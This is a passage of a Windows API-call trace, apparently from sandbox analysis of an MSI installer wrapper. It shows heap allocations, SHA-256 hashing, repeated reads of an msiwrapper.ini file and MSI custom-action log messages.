dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.550] CryptHashData (hHash=0x436160, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.550] CryptGetHashParam (in: hHash=0x436160, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.550] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.550] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.550] CryptGetHashParam (in: hHash=0x436160, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.550] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.550] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.550] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.550] GetLastError () returned 0x0 [0150.551] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.551] GetLastError () returned 0x0 [0150.551] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.551] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.551] GetLastError () returned 0x0 [0150.551] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.551] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.552] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.552] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439be8 [0150.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x439bf8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870dc9763e3ꘋ䟵阏") returned 0 [0150.552] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.553] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.553] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.553] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.553] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.553] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.553] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.553] CryptDestroyHash (hHash=0x436160) returned 1 [0150.554] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.554] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439be8 | out: hHeap=0x400000) returned 1 [0150.554] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.554] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.554] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433e60, Size=0x30) returned 0x42abb8 [0150.554] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.554] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x42abb8 | out: hHeap=0x400000) returned 1 [0150.555] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.555] MsiCreateRecord (cParams=0x2) returned 0x56 [0150.556] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb58 [0150.556] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb58, Size=0x70) returned 0x4357c0 [0150.556] MsiRecordSetStringW (hRecord=0x56, iField=0x0, szValue="-- CUSTOM ACTION -- Elevation mode is never") returned 0x0 [0150.557] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x56) returned 0 [0150.561] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.561] MsiCloseHandle (hAny=0x56) returned 0x0 [0150.563] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bb10 | out: hHeap=0x400000) returned 1 [0150.563] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.563] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.563] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.564] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.564] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.564] CloseHandle (hObject=0x184) returned 1 [0150.564] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433eb0 [0150.564] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.564] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433eb0 | out: hHeap=0x400000) returned 1 [0150.564] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433eb0 [0150.565] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433eb0 | out: hHeap=0x400000) returned 1 [0150.565] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.566] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.566] CryptHashData (hHash=0x4361a0, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.566] CryptHashData (hHash=0x4361a0, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.566] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.566] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.566] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.566] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.566] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.566] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.566] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.566] GetLastError () returned 0x0 [0150.566] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.567] GetLastError () returned 0x0 [0150.567] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.567] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.567] GetLastError () returned 0x0 [0150.567] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.567] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.568] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.568] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439be8 [0150.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x439bf8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870dc9763e3ꘋ䟵阏") returned 0 [0150.568] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.568] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.568] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.568] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.569] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.569] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.569] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.569] CryptDestroyHash (hHash=0x4361a0) returned 1 [0150.569] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.569] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439be8 | out: hHeap=0x400000) returned 1 [0150.570] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.570] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433eb0 [0150.570] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433eb0, Size=0x40) returned 0x41bb10 [0150.570] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433eb0 [0150.570] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bb10 | out: hHeap=0x400000) returned 1 [0150.571] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x50) returned 0x4357c0 [0150.571] MsiCreateRecord (cParams=0x2) returned 0x57 [0150.573] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.573] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x70) returned 0x439148 [0150.573] MsiRecordSetStringW (hRecord=0x57, iField=0x0, szValue="-- CUSTOM ACTION -- Run before install file: \"\"") returned 0x0 [0150.574] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x57) returned 0 [0150.578] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439148 | out: hHeap=0x400000) returned 1 [0150.578] MsiCloseHandle (hAny=0x57) returned 0x0 [0150.579] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.579] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.579] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.579] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.579] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.580] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.580] CloseHandle (hObject=0x184) returned 1 [0150.580] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433ed8 [0150.580] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.580] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433ed8 | out: hHeap=0x400000) returned 1 [0150.580] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433ed8 [0150.581] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433ed8 | out: hHeap=0x400000) returned 1 [0150.581] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.584] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.584] CryptHashData (hHash=0x436160, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.584] CryptHashData (hHash=0x436160, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.584] CryptGetHashParam (in: hHash=0x436160, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.584] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.584] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.585] CryptGetHashParam (in: hHash=0x436160, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.585] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.585] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.585] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.585] GetLastError () returned 0x0 [0150.586] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.586] GetLastError () returned 0x0 [0150.586] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.586] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.586] GetLastError () returned 0x0 [0150.586] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.586] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.587] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.587] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439be8 [0150.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x439bf8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870dc9763e3ꘋ䟵阏") returned 0 [0150.587] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.587] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.587] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.588] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.588] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.588] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.588] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.588] CryptDestroyHash (hHash=0x436160) returned 1 [0150.588] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.588] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439be8 | out: hHeap=0x400000) returned 1 [0150.588] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.589] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433ed8 [0150.589] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433ed8, Size=0x50) returned 0x4357c0 [0150.589] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433ed8 [0150.589] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.589] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x50) returned 0x4357c0 [0150.589] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4357c0, Size=0x90) returned 0x4357c0 [0150.589] MsiCreateRecord (cParams=0x2) returned 0x58 [0150.589] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.589] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x80) returned 0x439148 [0150.589] MsiRecordSetStringW (hRecord=0x58, iField=0x0, szValue="-- CUSTOM ACTION -- Run before install parameters: \"\"") returned 0x0 [0150.590] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x58) returned 0 [0150.592] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439148 | out: hHeap=0x400000) returned 1 [0150.592] MsiCloseHandle (hAny=0x58) returned 0x0 [0150.593] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.593] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.593] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.593] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.593] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.593] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.594] CloseHandle (hObject=0x184) returned 1 [0150.594] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433f00 [0150.594] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.594] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433f00 | out: hHeap=0x400000) returned 1 [0150.594] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433f00 [0150.594] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433f00 | out: hHeap=0x400000) returned 1 [0150.594] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.595] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.595] CryptHashData (hHash=0x4361a0, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.595] CryptHashData (hHash=0x4361a0, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.596] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.596] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.596] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.596] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.596] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.596] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.596] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.596] GetLastError () returned 0x0 [0150.596] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.596] GetLastError () returned 0x0 [0150.596] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.597] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.597] GetLastError () returned 0x0 [0150.597] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.597] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.597] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.597] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439be8 [0150.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x439bf8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870dc9763e3ꘋ䟵阏") returned 0 [0150.598] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.598] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.598] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.598] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.598] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.598] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.598] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.598] CryptDestroyHash (hHash=0x4361a0) returned 1 [0150.599] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.599] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439be8 | out: hHeap=0x400000) returned 1 [0150.599] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.599] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433f00 [0150.599] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433f00, Size=0x40) returned 0x41bb10 [0150.599] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433f00 [0150.600] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bb10 | out: hHeap=0x400000) returned 1 [0150.600] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x50) returned 0x4357c0 [0150.600] MsiCreateRecord (cParams=0x2) returned 0x59 [0150.600] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.600] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x70) returned 0x439148 [0150.600] MsiRecordSetStringW (hRecord=0x59, iField=0x0, szValue="-- CUSTOM ACTION -- Run after install file: \"\"") returned 0x0 [0150.600] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x59) returned 0 [0150.602] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439148 | out: hHeap=0x400000) returned 1 [0150.602] MsiCloseHandle (hAny=0x59) returned 0x0 [0150.603] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.603] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.603] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.604] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.604] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.604] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.604] CloseHandle (hObject=0x184) returned 1 [0150.604] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c00 [0150.605] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.605] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439c00 | out: 